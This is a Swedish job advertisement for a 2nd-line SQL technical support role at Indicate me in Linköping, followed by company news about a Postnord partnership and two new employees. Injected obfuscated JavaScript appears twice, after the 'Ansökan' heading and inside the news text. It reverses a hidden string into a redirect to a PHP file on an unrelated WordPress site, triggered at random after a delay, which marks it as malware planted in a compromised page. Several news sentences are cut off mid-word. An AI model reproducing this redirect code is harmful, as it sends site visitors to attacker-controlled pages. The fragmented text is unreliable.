Indicate me söker en 2nd line-medarbetare till vår tekniska support i Linköping. Gillar du IT och teknik, har baskunskaper i SQL och vill kombinera detta med att ge en god service? Då kan tjänsten passa dig.
Om tjänsten
Som medarbetare hos oss kommer du arbeta med mer avancerade supportärenden till våra kunder. De uppgifter du kommer ställas inför varierar i hög grad. Det är därför viktigt att du är en nyfiken person som gillar utmaningar och tycker att det är roligt med problemlösning.
Du kommer framför allt arbeta i våra SQL-databaser. Jobbet innebär konfiguration i databastabeller, incidenthantering och felsökning, samt arbete med procedurer för att t ex läsa data och genomföra beräkningar.
Kontakt med kunder sker i första hand genom vår servicedesk, Jira, men kan även innebära telefon- eller onlinemöten på svenska och engelska.
Meriter
- Grundläggande kunskaper inom SQL
Större delen av din dag kommer fokuseras till arbete i Microsoft SQL Management Studio. Kanske har du läst någon kurs eller lärt dig på egen hand genom ett brinnande intresse. - Goda kunskaper i svenska och engelska
Du kan uttrycka dig väl i både tal och skrift. Du har också ett sinne för att arbeta med statistik. - C# (inget krav)
Har du kunskap inom programmering mot webben i C# är det ett plus, men inget krav.
Indicate me är i en expansiv fas vilket innebär att det finns stora möjligheter att vidareutvecklas inom bolaget gällande andra tjänster relaterat till teknisk support och systemutveckling.
Information om företaget
Indicate me är ett SaaS-bolag som erbjuder ett webbaserat systemstöd vilket möjliggör ökade insikter och bättre resultat inom kundservice. Med systemstödet bidrar Indicate me till nöjdare kunder och mer engagerade medarbetare. Indicate me möjliggör också snabba och tillförlitliga analyser av kundkontakter och kundbeteenden. Det bidrar i sin tur till effektivare processer och lönsammare affärer. Indicate me omsatte föregående år ca 12.8 Mkr och har precis påbörjat sin tillväxtresa.
Indicate me ägs av Pulsenkoncernen, som är ett av Sveriges största IT-företag och grundades 1964. 2020 omsatte koncernen 3.1 miljarder.
Ansökan
$NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to”>Det känns oerhört roligt att vi nyligen har inlett ett samarbete med Postnord.
tort. Vi vill och tänker lika. Bland annat arbetar de idag med en ”Samtalsklocka” för att kvalitetssäkra samtal som är väldigt snarlik vår modell och visualisering kring samtalscoaching, berättar Lina Bjelkmar, VD på Indicate me.
tomatiseras, vilket sparar både tid och minskar mänskliga fel. Här blir Indicate me navet i kundservicen.
torsaker. Postnord har kommit långt på resan och gjort mycket själva. De har samma tankesätt och bakgrund som oss där de har testat och lyft på många stenar, säger Lina.
$NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to”>- Vi ser framemot vårt partnerskap och att dansa tillsammans framöver, avslutar hon med ett skratt.
Indicate me växer och har fått förstärkning av två nya medarbetare – Vi önskar Emma Kindström och Oskar Alm varmt välkomna till Indicate me
I takt med ett ökat inflöde av kunder, har även behovet av fler resurser inom såväl teknisk support som systemutveckling växt fram.
– Vi ser ett ökat intresse av vår produkt på marknaden. Företag uppskattar enkelheten i vårt verktyg, där vi samlar och visualiserar information direkt till ledare och medarbetare i kundservice. Det är flera kunder på ingång och vi vill att samtliga ska uppleva en enkel implementationsprocess och hög service från vår support, samtidigt som vi fortsätter att bygga vidare på vårt verktyg, berättar Lina Bjelkmar, VD på Indicate me.
Indicate me har som rutin att äga hela implementationsfasen och ha direktkontakt med sina kunders underleverantörer, så att de inte behöver agera mellanhand. Detta är något som uppskattas med uppstarten. Vidare kommer Emma med sin expertis inom interaktionsdesign att intensifiera Indicate me’s fokus gällande användarvänlighet i verktyget.
– För oss är service a och o, därför är jag glad över att vi har fått förstärkning med Oskar i vår tekniska support så att vi kan fortsätta hålla en hög servicenivå. Jag ser även fram emot Emmas besök hos våra kunder för att förstå hur användarvänligheten både kan bibehållas och förbättras i takt med att vi växer med ny funktionalitet, säger Lina.
Indicate me fortsätter att växa
Under hösten kommer vi fortsätta att expandera. Just nu söker vi fler systemutvecklare men inom kort kommer vi även att utöka med fler inom Customer Success samt teknisk support.
– Att arbeta som systemutvecklare hos oss innebär att man får tillhöra ett snabbrörligt bolag med högt i tak och stor möjlighet att påverka sin egen roll och vår produkt, avslutar Lina.
Säg hej till våra två nya medarbetare i utvecklingsteamet
Emma Kindström
Roll: Systemutvecklare
Tidigare erfarenhet: Jag har en högskoleutbildning inom interaktionsdesign och kommer närmast från ett eget bolag där jag arbetat just inom detta.
Roligfakta: Har tidigare tävlat i bugg och vunnit junior EM.
Oskar Alm
Roll: Technical support
Tidigare erfarenhet: Jag har tidigare arbetat med kundsupport riktad direkt mot slutanvändare av tekniska produkter, något som gett mig stor insikt av hur tjänster som Indicate me kan bidra till att effektivisera ens arbete och gynna den professionella utvecklingen när man arbetar med kundtjänst. Innan det studerade jag Systemvetenskap på Linköpings Universitet.
Roligfakta: Har spelat kortspelet Magic: The Gathering sedan barnsben, har en grupp med vänner jag spelar med då och då. Jag har även deltagit i nationella turneringar.
